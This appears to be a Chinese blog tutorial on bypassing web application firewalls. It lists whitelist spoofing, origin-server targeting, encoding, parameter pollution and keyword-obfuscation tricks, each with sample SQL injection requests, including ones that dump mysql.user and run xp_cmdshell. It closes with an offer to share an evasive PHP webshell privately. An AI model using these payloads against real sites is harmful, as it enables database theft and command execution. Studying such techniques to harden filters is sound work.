zoukankan      html  css  js  c++  java
  • 常见WAF绕过思路

    WAF分类

    0x01 云waf

    在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。

    0x02 主机防护软件

    在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。

    0x03 硬件ips/ids防护、硬件waf

    使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。

    02

    WAF身份认证阶段的绕过

    WAF有一个白名单,在白名单内的客户请求将不做检测

    0x01 伪造搜索引擎

    早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击,这里推荐一个谷歌插件,可以修改User-Agent,叫User-Agent Switcher

    0x02 伪造白名单特殊目录

    360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截,比如

    GET /pen/news.php?id=1 union select user,password from mysql.user

    可以改为

    GET /pen/news.php/admin?id=1 union select user,password from mysql.user

    或者

    GET /pen/admin/.. ews.php?id=1 union select user,password from mysql.user

    0x03 直接攻击源站

    这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过。

    03

    WAF数据包解析阶段的绕过

    0x01 编码绕过

    最常见的方法之一,可以进行urlencode。

    0x02 修改请求方式绕过

    大家都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。还有就是参数污染,典型例子就是multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。

    0x03 复参数绕过

    例如一个请求是这样的

    GET /pen/news.PHP?id=1 union select user,password from MySQL.user

    可以修改为

    GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

    很多WAF都可以这样绕。

    04

    WAF触发规则的绕过

    WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。

    0x01 特殊字符替换空格

    用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格

    0x02 特殊字符拼接

    把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接,例如

    GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')

    可以改为

    GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

    0x03 注释包含关键字

    在mysql中,可以利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。

    例如,GET /pen/news.php?id=1 union select user,password from mysql.user

    可以改为

    GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user

    05

    常见绕过WAF方法总结

    0x01 大小写转换法

    把大写的小写,小写的大写。比如:

    SQL:sEleCt vERsIoN();

    ‍‍XSS:

    出现原因:在waf里,使用的正则不完善或者是没有用大小写转换函数。

    0x02 干扰字符污染法

    空字符、空格、TAB换行、注释、特殊的函数等等都可以。比如下面的:

    SQL:sEleCt+1-1+vERsIoN /*!*/ ();`yohehe‍‍

    ‍‍SQL2:select/*!*/`version`();

    出现原因:利用网站使用的语言函数特性来绕过waf的规则或者使用会无视的字符。

    0x03 字符编码法

    就是对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64等等

    SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)

    ‍‍‍‍XSS:rip>

    出现原因:利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整。

    本来想给大家分享个不错的免杀PHP大马基本无视各类waf,因为是最新放出来的,而且后门我还没分析成功,不知道有没有后门,就先不放给大家了。如果大家需要的话,可以后台留言,我私发给你。

  • 相关阅读:
    Smarty简介
    简易调用及实例化视图
    简易调用及实例化模型
    简易调用及实例化控制器
    MVC错误(一)
    单一入口及MVC目录规范
    MVC各个层的作用
    MVC工作流程
    【学习笔记】字符串—马拉车(Manacher)
    【题解】邻值查找 [CH1301]
  • 原文地址:https://www.cnblogs.com/wjw-zm/p/11831537.html
Copyright © 2011-2022 走看看